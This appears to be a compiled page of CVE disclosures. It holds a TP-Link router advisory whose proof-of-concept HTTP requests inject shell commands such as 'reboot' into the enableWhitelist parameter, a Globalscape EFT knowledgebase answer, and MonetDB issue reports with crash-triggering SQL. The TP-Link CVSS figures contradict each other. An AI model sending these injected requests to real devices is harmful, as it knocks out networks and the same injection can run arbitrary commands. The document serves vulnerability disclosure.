An issue in the /userRpm/LocalManageControlRpm component of TP-Link TL-WR940N V2/V4/V6, TL-WR841N V8/V10, and TL-WR941ND V5 allows attackers to cause a Denial of Service (DoS) via a crafted GET request.

**TP-Link TL-WR941ND/TL-WR940N/TL-WR841N wireless router /userRpm/LocalManageControlRpm denial of service vulnerability****1 Basic Information**

*   Vulnerability Type: Denial of Service
*   Vulnerability Description: A denial of service vulnerability exists in TP-Link TL-WR940N V2/V4/V6 and TL-WR841N V8/V10、TL-WR941ND V5 wireless router. Its /userRpm/LocalManageControlRpm component has a security vulnerability in processing enableWhitelist GET key parameters, allowing remote attackers to submit special requests through the vulnerability, causing denial of service.
*   Device model:
    *   TP-Link TL-WR940N V2/V4/V6、TP-Link TL-WR841N V8/V10、TP-Link TL-WR941ND V5

**2 Vulnerability Value**

*   Maturity of Public Information: None
    
*   Order of Public Vulnerability Analysis Report: None
    
*   Stable reproducibility: yes
    
*   Vulnerability Score (refer to CVSS)
    
    *   V2：7.1 High AV:N/AC:H/Au:S/C:C/I:C/A:C
    *   V3.1：8.6 High AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
*   Exploit Conditions
    
    *   Attack Vector Type: Network
    *   Attack Complexity: Low
    *   Complexity of Exploit
        *   Permission Constraints: authentication is required
        *   User Interaction: No victim interaction required
    *   Scope of Impact: Changed (may affect other components than vulnerable ones)
    *   Impact Indicators:
        *   Confidentiality: High
        *   Integrity: High
        *   Availability: High
    *   Stability of vulnerability exploitation: Stable recurrence
    *   Whether the product default configuration: There are vulnerabilities in functional components that are enabled out of the factory
*   Exploit Effect
    
    *   Denial of Service

**3 PoC**

The PoC of TP-Link WR940N V4 is as follows:

GET /WGJHXFTBPSHJAMDA/userRpm/LocalManageControlRpm.htm?enableWhitelist=1;CMD=$"reboot";$CMD&mac0=1C-BF-C0-7A-E0-03&mac1=1C-BF-C0-7A-E0-04&mac2=&mac3=&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/WGJHXFTBPSHJAMDA/userRpm/LocalManageControlRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR940N V2 is as follows:

GET /WUKQJMSAEYQDMRRC/userRpm/LocalManageControlRpm.htm?enableWhitelist=1|aaa;&mac0=7e-54-76-ee-db-12&mac1=&mac2=&mac3=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/KMODQNKANSQJBYFA/userRpm/LocalManageControlRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link WR940N V6 is as follows:

GET /IOCGBYQCUCBTYUKA/userRpm/LocalManageControlRpm.htm?enableWhitelist=1;CMD=$'reboot';$CMD&mac0=7e-54-76-ee-db-12&mac1=2A-6A-BC-86-FE-C2&mac2=&mac3=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/XKZTZRGANXFYRCCA/userRpm/LocalManageControlRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link TL-WR941ND V5 is as follows:

GET /MZKBGETBOHFWYCNC/userRpm/LocalManageControlRpm.htm?enableWhitelist=1||reboot|&mac0=7e-54-76-ee-db-12&mac1=&mac2=&mac3=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/YOKQCLEBKGHAVJDB/userRpm/LocalManageControlRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TP-Link TL-WR841N V8 is as follows:

GET /userRpm/LocalManageControlRpm.htm?enableWhitelist=1;CMD=$'reboot';$CMD&mac0=F6-33-2C-E7-94-C3&mac1=&mac2=&mac3=&Save=Save HTTP/1.1
Host: 0.0.0.0:49168
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://0.0.0.0:49168/userRpm/LocalManageControlRpm.htm
Cookie: Authorization=
Upgrade-Insecure-Requests: 1

The PoC of TP-Link TL-WR841N V10 is as follows:

GET /BTYXMWXBISLZRVGB/userRpm/LocalManageControlRpm.htm?enableWhitelist=1$(reboot)&mac0=1C-BF-C0-7A-E0-04&mac1=7E-F8-60-02-2E-B8&mac2=&mac3=&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/BMKHACLAYMEWMEQA/userRpm/LocalManageControlRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

**4 Vulnerability Principle**

When the Web management component receives a GET request, its /userRpm/LocalManageControlRpm component has a security vulnerability in processing the enableWhitelist GET key parameter. The enableWhitelist parameter itself is put into the stack without being checked, resulting in a denial of service. An attacker exploits this vulnerability to construct a payload of the enableWhitelist parameter, so that the carefully constructed parameter causes a denial of service. Attackers can directly achieve the effect of denial of service by exploiting this vulnerability.

The firmware simulation process and interface are as follows:

After sending the constructed PoC, denial of service occurred.

**5\. The basis for judging as a 0-day vulnerability**

Searching the LocalManageControlRpm keyword in the NVD database did not find any vulnerabilities; searching the parameter enableWhitelist keyword in the NVD database did not find any vulnerabilities, so it is considered a 0-day vulnerability.

CVE-2023-36357: iotvul/tp-link/5/TL-WR941ND_TL-WR940N_TL-WR841N_userRpm_LocalManageControlRpm.md at main · a101e-IoTvul/iotvul

Fortra Globalscape EFT versions before 8.1.0.16 suffer from a denial of service vulnerability, where a compressed message that decompresses to itself can cause infinite recursion and crash the service


*   Home
*   »
*   Knowledgebase
*   »
*   EFT
*   »
*   Is EFT susceptible to the "Denial of service via recursive...

**THE INFORMATION IN THIS ARTICLE APPLIES TO:**

*   EFT v8.0.0.38 and 8.0.x
*   This is fixed in EFT v8.1.0.16

**QUESTION**

Is EFT susceptible to the "Denial of service via recursive Deflate Stream" vulnerability?

**ANSWER**

Yes, you can be vulnerable if you are:

*   Administering EFT remotely
*   Allowing EFT remote administration to be initiated from the Internet
*   Using the default port
*   Not whitelisting trusted IPs

**MORE INFORMATION**

Sending a recursively compressed packet (a "quine") to the administration port can crash EFT. This can be mitigated by limiting access to administer EFT at the network level. You may be affected if you allow remote administration to EFT to be initiated from the internet. As stated in our best practices, do not expose port 1100 to the internet. You will always want to whitelist trusted IPs. The most secure method is to disallow remote administration outside of the host EFT server and only login in via localhost (::1 or 127.0.0.1).

**Share Article**

*   
*   

On a scale of 1-5, please rate the helpfulness of this article

Optionally provide additional feedback to help us improve this article...

**Thank you for your feedback!**

Last Modified: Last Week

Last Modified By: kmarsh

Type: HOTFIX

Article not rated yet.

Article has been viewed 2.7K times.

CVE-2023-2990: Is EFT susceptible to the "Denial of service via recursive Deflate Stream" vulnerability?

Fortra Globalscape EFT's administration server suffers from an information disclosure vulnerability where the serial number of the harddrive that Globalscape is installed on can be remotely determined via a "trial extension request" message


CVE-2023-2991: Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

An issue in the GDKfree component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**Describe the bug**  
MonetDB server 11.46.0 crashes in GDKfree after executing SQL statements through mclient.

**To Reproduce**

1.  Use mclient to connect MonetDB server;
2.  Try to execute the following SQL statements **multiple times**. Sometimes they will crash the server. (On my machine, the server crashes after repeating executing these SQLs with at most 4 times)

DROP SCHEMA test CASCADE;
CREATE SCHEMA test;
SET SCHEMA test;
CREATE TABLE src (src\_c1\_pkey INT, c1 VARCHAR(100));
START TRANSACTION;
DELETE   FROM src;
ALTER TABLE src DROP src\_c1\_pkey;
INSERT INTO src VALUES(1,1),(2,2),(3,3),(4,4),(6,6),(7,7),(8,8),(9,9),(10,10);
COMMIT;
SET SCHEMA sys;
DROP SCHEMA test CASCADE;
CREATE SCHEMA test;

**Expected behavior**  
Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server.

**Backtrace**

    #0 0x7f280338000b (gsignal+0xcb)
    #1 0x7f280335f859 (abort+0x12b)
    #2 0x7f28033ca26e (__fsetlocking+0x42e)
    #3 0x7f28033d22fc (pthread_attr_setschedparam+0x54c)
    #4 0x7f28033d3f6d (pthread_attr_setschedparam+0x21bd)
    #5 0x7f280414f765 (GDKfree+0x25)
    #6 0x7f280377af7b (destroy_delta+0x7b)
    #7 0x7f280377576d (destroy_col+0x2d)
    #8 0x7f2803745345 (column_destroy+0x45)
    #9 0x7f2803761ec2 (list_destroy2+0xa2)
    #10 0x7f2803760d14 (ol_destroy+0x34)
    #11 0x7f2803745450 (table_destroy+0x90)
    #12 0x7f280375ec17 (objectversion_destroy+0x77)
    #13 0x7f280375eb4f (os_destroy+0xcf)
    #14 0x7f2803750cdc (schema_destroy+0x7c)
    #15 0x7f280375ec17 (objectversion_destroy+0x77)
    #16 0x7f280376065d (objectversion_destroy_recursive+0x3d)
    #17 0x7f2803760345 (tc_gc_objectversion+0x75)
    #18 0x7f280374a307 (store_pending_changes+0x307)
    #19 0x7f280374ea87 (sql_trans_commit+0x567)
    #20 0x7f2803759353 (sql_trans_end+0x83)
    #21 0x7f280379c10c (mvc_commit+0x4fc)
    #22 0x7f280369d564 (SQLengine_+0x284)
    #23 0x7f280369c343 (SQLengine+0x23)
    #24 0x7f2803a2b6cf (runScenario+0x4f)
    #25 0x7f2803a2c16c (MSscheduleClient+0x68c)
    #26 0x7f2803ad3c2b (doChallenge+0xfb)
    #27 0x7f2804152ba0 (THRstarter+0x100)
    #28 0x7f28041c2cc4 (thread_starter+0x34)
    #29 0x7f2803537609 (start_thread+0xd9)
    #30 0x7f280345c133 (clone+0x43)
    

**Software versions**

*   MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch)
*   MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2)
*   OS and version: ubuntu 20.04
*   Self-installed and compiled. The command line of compilation: CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo

**Issue labeling**  
bug

**Additional context**  
The MonetDB here runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

If the crash cannot be reproduced easily, please tell me. I will try to provide the whole steps to trigger the crash as possible.

Could **not** reproduce the crash with MonetDB 5 server v11.45.17 (Sep2022-SP3).  
We will add a test case to see if any memory leaks are detected.

I write a bash script to reproduce. It use the docker image of MonetDB v11.45.17 (Sep2022-SP3). Maybe it can help to reproduce the crash.

#!/bin/bash

######################################################
#\# Build the image of MonetDB and start a container.  
######################################################
docker pull monetdb/monetdb:Sep2022-SP3
docker run -e MDB\_DB\_ADMIN\_PASS=monetdb -d -p 50000:50000 --name monetdb monetdb/monetdb:Sep2022-SP3
docker container restart monetdb

echo -e "user=monetdb\\npassword=monetdb" | docker exec -i monetdb tee /root/.monetdb

echo "Waiting the monetdb server to start..."
while ! docker exec monetdb mclient monetdb \> /dev/null 2> /dev/null
do
    echo -n "."
done

docker exec monetdb dnf install procps-ng -y

#################################################
#\# Get current PID of the mserver5 process. 
#\# as the mserver5 will be restart automatically 
#\# after crashing in the docker container,
#\# we check a crash by comparing the PIDs.
#################################################
echo -ne "Check PID of mserver5: \\033\[0;32m\\033\[1m"
docker exec monetdb pidof mserver5
echo -ne "\\033\[0m"
oldPid=$(docker exec monetdb pidof mserver5)

#\# Loop the SQL test cases.
for (( i\=0; i<200; ++i ))
do

echo -n "."

echo "DROP SCHEMA test CASCADE;
CREATE SCHEMA test;
SET SCHEMA test;
CREATE TABLE src (src\_c1\_pkey INT, c1 VARCHAR(100));
START TRANSACTION;
DELETE   FROM src;
ALTER TABLE src DROP src\_c1\_pkey;
INSERT INTO src VALUES(1,1),(2,2),(3,3),(4,4),(6,6),(7,7),(8,8),(9,9),(10,10);
COMMIT;
SET SCHEMA sys;
DROP SCHEMA test CASCADE;
CREATE SCHEMA test;
" | docker exec -i monetdb mclient monetdb 2>&1 | grep --color=always "unexpected end of file\\|Challenge string is not valid, it is empty" && break

done

#############################################
#\# Check whether some errors occurred.
#############################################
if ! docker exec monetdb mclient monetdb
then
    echo "The server or client seems unavailable".
else
    echo -ne "Check PID of mserver5: \\033\[0;32m\\033\[1m"
    docker exec monetdb pidof mserver5
    echo -ne "\\033\[0m"
    nowPid=$(docker exec monetdb pidof mserver5)
    
    if (( nowPid != oldPid ))
    then
        echo "Different PIDs. Maybe a crash occurred?"
    else
        echo "Everything seems ok... Maybe not a bug."
    fi
fi

CVE-2023-36371: MonetDB server 11.46.0 crashes in `GDKfree` · Issue #7385 · MonetDB/MonetDB

An issue in the list_append component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**Describe the bug**  
MonetDB server 11.46.0 crashes at list_append after executing SQL statements through mclient.

**To Reproduce**

create table t1(c1 int auto\_increment primary key NOT NULL);
create trigger i1 after insert on t1 for each row insert into t1 values(NULL);
insert into t1 values(NULL);

**Expected behavior**  
This crash is strange. From the backtrace as follows, we can know that the crash is caused by infinite recursion.

However, if we change the first statement into create table t1(c1 int);, the MonetDB will return the message Query too complex: running out of stack space when executing the third stmt. So, MonetDB handles out of stack space, but it does not work with some special table definitions?

What's more, the definition of the table contains the NOT NULL constraint, which should fail the third stmt. If we remove the create trigger statement, MonetDB will return the message INSERT INTO: NOT NULL constraint violated for column t1.c1 when executing the insert stmt. But with the create trigger stmt, it crashes instead.

Anyway, I think the expected behavior is to return the error message Query too complex: running out of stack space or INSERT INTO: NOT NULL constraint violated for column t1.c1, instead of crashing straightly.

**Backtrace**

    #0 0x7f0c3760dbda (list_append+0x1a)
    #1 0x7f0c376669c6 (rel_insert+0x196)
    #2 0x7f0c3766abb3 (rel_updates+0x1ce3)
    #3 0x7f0c376c6c11 (sequential_block+0x121)
    #4 0x7f0c376c52dc (rel_psm+0x131c)
    #5 0x7f0c37653091 (rel_semantic+0x91)
    #6 0x7f0c37652e6a (rel_parse+0x19a)
    #7 0x7f0c37563102 (sql_insert_triggers+0x232)
    #8 0x7f0c3755bb5e (rel2bin_insert+0x148e)
    #9 0x7f0c37554539 (subrel_bin+0xd69)
    #10 0x7f0c3755f218 (exp_bin+0x29e8)
    #11 0x7f0c37558567 (subrel_bin+0x4d97)
    #12 0x7f0c37563162 (sql_insert_triggers+0x292)
    #13 0x7f0c3755bb5e (rel2bin_insert+0x148e)
    #14 0x7f0c37554539 (subrel_bin+0xd69)
    #15 0x7f0c3755f218 (exp_bin+0x29e8)
    #16 0x7f0c37558567 (subrel_bin+0x4d97)
    #17 0x7f0c37563162 (sql_insert_triggers+0x292)
    ...
    #7407 0x7f0c37563162 (sql_insert_triggers+0x292)
    #7408 0x7f0c3755bb5e (rel2bin_insert+0x148e)
    #7409 0x7f0c37554539 (subrel_bin+0xd69)
    #7410 0x7f0c3755373b (output_rel_bin+0x6b)
    #7411 0x7f0c3757f9d9 (backend_dumpstmt+0x199)
    #7412 0x7f0c3754a367 (SQLparser+0x5d7)
    #7413 0x7f0c3754987b (SQLengine_+0x59b)
    #7414 0x7f0c37548343 (SQLengine+0x23)
    #7415 0x7f0c378d76cf (runScenario+0x4f)
    #7416 0x7f0c378d816c (MSscheduleClient+0x68c)
    #7417 0x7f0c3797fc2b (doChallenge+0xfb)
    #7418 0x7f0c37ffeba0 (THRstarter+0x100)
    #7419 0x7f0c3806ecc4 (thread_starter+0x34)
    #7420 0x7f0c373e3609 (start_thread+0xd9)
    #7421 0x7f0c37308133 (clone+0x43)
    

**Software versions**

*   MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch)
*   MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2)
*   OS and version: ubuntu 20.04
*   Self-installed and compiled. The command line of compilation: CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo

**Issue labeling**  
bug

**Additional context**  
The MonetDB here runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

CVE-2023-36369: MonetDB server 11.46.0 crashes at `list_append` · Issue #7383 · MonetDB/MonetDB

An issue in the cs_bind_ubat component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**Describe the bug**  
MonetDB server crashes at cs_bind_ubat after executing SQL statements through ODBC.

**To Reproduce**

CREATE TABLE t2 (c1 int, t1 int, c2 int);
INSERT INTO t2 VALUES(127,255,1),(127,1,2),(\-128,0,3),(\-128,2,4),(\-1,NULL,5);
INSERT INTO t2 VALUES(200,126,1),(250,\-127,2);
INSERT INTO t2 VALUES (\-128,0,1),(\-1,1,1),(\-2,2,2),(\-3,3,3),(\-4,4,4),(\-5,5,5),(\-6,6,6),(0,0,7),(1,1,8),(2,NULL,9),(3,NULL,10),(127,255,11);
DELETE FROM t2 WHERE c1 IN (\-2, 0);
START TRANSACTION;
UPDATE t2 SET c2 \= c2 + 100;
UPDATE t2 SET c2 \= c2 + 100;

**Expected behavior**  
Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server.

**Backtrace**

    #0 0x7f6388374871 (cs_bind_ubat+0x151)
    #1 0x7f6388373483 (bind_ubat+0x43)
    #2 0x7f638836d860 (bind_updates+0xe0)
    #3 0x7f63882854ce (mvc_bind_wrap+0x28e)
    #4 0x7f6388614c63 (runMALsequence+0x763)
    #5 0x7f63886185d4 (DFLOWworker+0x2c4)
    #6 0x7f6388d4fba0 (THRstarter+0x100)
    #7 0x7f6388dbfcc4 (thread_starter+0x34)
    #8 0x7f6388134609 (start_thread+0xd9)
    #9 0x7f6388059133 (clone+0x43)
    

**Software versions**

*   MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch)
*   MonetDB ODBC version: 11.46.0
*   OS and version: ubuntu 20.04
*   Self-installed and compiled. The command line of compilation: CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo

\*\*Issue labeling \*\*  
bug

**Additional context**  
The MonetDB here runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

CVE-2023-36368: MonetDB server 11.46.0 crashes at cs_bind_ubat · Issue #7379 · MonetDB/MonetDB

An issue in the gc_col component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**Describe the bug**  
MonetDB server 11.46.0 crashes at gc_col after executing SQL statements through ODBC.

START TRANSACTION;
CREATE TEMPORARY TABLE t1 (keyc INT, c1 VARCHAR(100), c2 VARCHAR(100), PRIMARY KEY(keyc));
CREATE TABLE c1(c2 DECIMAL(9,4) NOT NULL);
SAVEPOINT a\_a;
TRUNCATE TABLE t1;
DELETE FROM w;
COMMIT;
SELECT 1;

**Expected behavior**  
Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server.

    #0 0x7ff2e7285dd6 (gc_col+0x26)
    #1 0x7ff2e7282cd5 (tc_gc_col+0x15)
    #2 0x7ff2e7251307 (store_pending_changes+0x307)
    #3 0x7ff2e7255a87 (sql_trans_commit+0x567)
    #4 0x7ff2e7260353 (sql_trans_end+0x83)
    #5 0x7ff2e72a310c (mvc_commit+0x4fc)
    #6 0x7ff2e71a4564 (SQLengine_+0x284)
    #7 0x7ff2e71a3343 (SQLengine+0x23)
    #8 0x7ff2e75326cf (runScenario+0x4f)
    #9 0x7ff2e753316c (MSscheduleClient+0x68c)
    #10 0x7ff2e75dac2b (doChallenge+0xfb)
    #11 0x7ff2e7c59ba0 (THRstarter+0x100)
    #12 0x7ff2e7cc9cc4 (thread_starter+0x34)
    #13 0x7ff2e703e609 (start_thread+0xd9)
    #14 0x7ff2e6f63133 (clone+0x43)
    

**Additional context**  
The MonetDB here runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

If the crash cannot be reproduced easily, please tell me. I will try to provide the whole steps to trigger the crash as possible.

CVE-2023-36370: MonetDB server 11.46.0 crashes at `gc_col` · Issue #7382 · MonetDB/MonetDB

An issue in the sql_trans_copy_key component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**Describe the bug**  
MonetDB server crashes at sql\_trans\_copy\_key after executing SQL statements through ODBC.

**Expected behavior**  
Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server.

    #0 0x7f9d8a205eb0 (sql_trans_copy_key+0x1c0)
    #1 0x7f9d8a258c7e (mvc_copy_key+0x1e)
    #2 0x7f9d8a13fa5c (create_table_or_view+0x79c)
    #3 0x7f9d8a1779e1 (SQLcreate_table+0x111)
    #4 0x7f9d8a4d1c63 (runMALsequence+0x763)
    #5 0x7f9d8a4d131e (runMAL+0x9e)
    #6 0x7f9d8a1589f9 (SQLrun+0xd9)
    #7 0x7f9d8a159bee (SQLengineIntern+0x4e)
    #8 0x7f9d8a1578c2 (SQLengine_+0x5e2)
    #9 0x7f9d8a156343 (SQLengine+0x23)
    #10 0x7f9d8a4e56cf (runScenario+0x4f)
    #11 0x7f9d8a4e616c (MSscheduleClient+0x68c)
    #12 0x7f9d8a58dc2b (doChallenge+0xfb)
    #13 0x7f9d8ac0cba0 (THRstarter+0x100)
    #14 0x7f9d8ac7ccc4 (thread_starter+0x34)
    #15 0x7f9d89ff1609 (start_thread+0xd9)
    #16 0x7f9d89f16133 (clone+0x43)
    

**Additional context**  
MonetDB runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

CVE-2023-36365: MonetDB server crashes at sql_trans_copy_key · Issue #7378 · MonetDB/MonetDB

An issue in the rel_deps component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**Describe the bug**  
MonetDB server 11.46.0 crashes in rel_deps after executing SQL statements through mclient.

**Expected behavior**  
Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server.

    #0 0x7fc48d1c68d1 (rel_deps+0x191)
    #1 0x7fc48d1c6997 (rel_deps+0x257)
    #2 0x7fc48d1c670a (rel_dependencies+0x4a)
    #3 0x7fc48d072b25 (create_table_or_view+0x865)
    #4 0x7fc48d0aab57 (SQLcreate_view+0xe7)
    #5 0x7fc48d404c63 (runMALsequence+0x763)
    #6 0x7fc48d40431e (runMAL+0x9e)
    #7 0x7fc48d08b9f9 (SQLrun+0xd9)
    #8 0x7fc48d08cbee (SQLengineIntern+0x4e)
    #9 0x7fc48d08a8c2 (SQLengine_+0x5e2)
    #10 0x7fc48d089343 (SQLengine+0x23)
    #11 0x7fc48d4186cf (runScenario+0x4f)
    #12 0x7fc48d41916c (MSscheduleClient+0x68c)
    #13 0x7fc48d4c0c2b (doChallenge+0xfb)
    #14 0x7fc48db3fba0 (THRstarter+0x100)
    #15 0x7fc48dbafcc4 (thread_starter+0x34)
    #16 0x7fc48cf24609 (start_thread+0xd9)
    #17 0x7fc48ce49133 (clone+0x43)
    

**Additional context**  
The MonetDB here runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

CVE-2023-36364: MonetDB server 11.46.0 crashes in `rel_deps` · Issue #7386 · MonetDB/MonetDB

An issue in the __nss_database_lookup component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**Describe the bug**  
MonetDB server 11.46.0 crashes at __nss_database_lookup after executing SQL statements through mclient.

**To Reproduce**  
Use the mclient binary to connect MonetDB server and execute the following stmts:

create schema test;
drop schema test cascade;
create schema test;
set schema test;
CREATE TABLE test (sect int NOT NULL auto\_increment, PRIMARY KEY (sect));
create trigger count after delete on test for each row insert into test values (1);
delete from test;

**Expected behavior**  
Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server.

    #0 0x7f76ea76ebee (__nss_database_lookup+0x2078e)
    #1 0x7f76eadf66fd (OPTemptybindImplementation+0x4fd)
    #2 0x7f76eae124f1 (OPTwrapper+0x191)
    #3 0x7f76eacdae23 (optimizeMALBlock+0x1a3)
    #4 0x7f76ea98391f (SQLoptimizeQuery+0x1df)
    #5 0x7f76ea94c57b (SQLparser+0x7eb)
    #6 0x7f76ea94b87b (SQLengine_+0x59b)
    #7 0x7f76ea94a343 (SQLengine+0x23)
    #8 0x7f76eacd96cf (runScenario+0x4f)
    #9 0x7f76eacda16c (MSscheduleClient+0x68c)
    #10 0x7f76ead81c2b (doChallenge+0xfb)
    #11 0x7f76eb400ba0 (THRstarter+0x100)
    #12 0x7f76eb470cc4 (thread_starter+0x34)
    #13 0x7f76ea7e5609 (start_thread+0xd9)
    #14 0x7f76ea70a133 (clone+0x43)
    

**Additional context**  
The MonetDB here runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

Using the mlient or unixODBC with command line like isql monetdb -e can reproduce the crash. But command line isql monetdb (without the -e option) cannot reproduce it.

Tag

#dos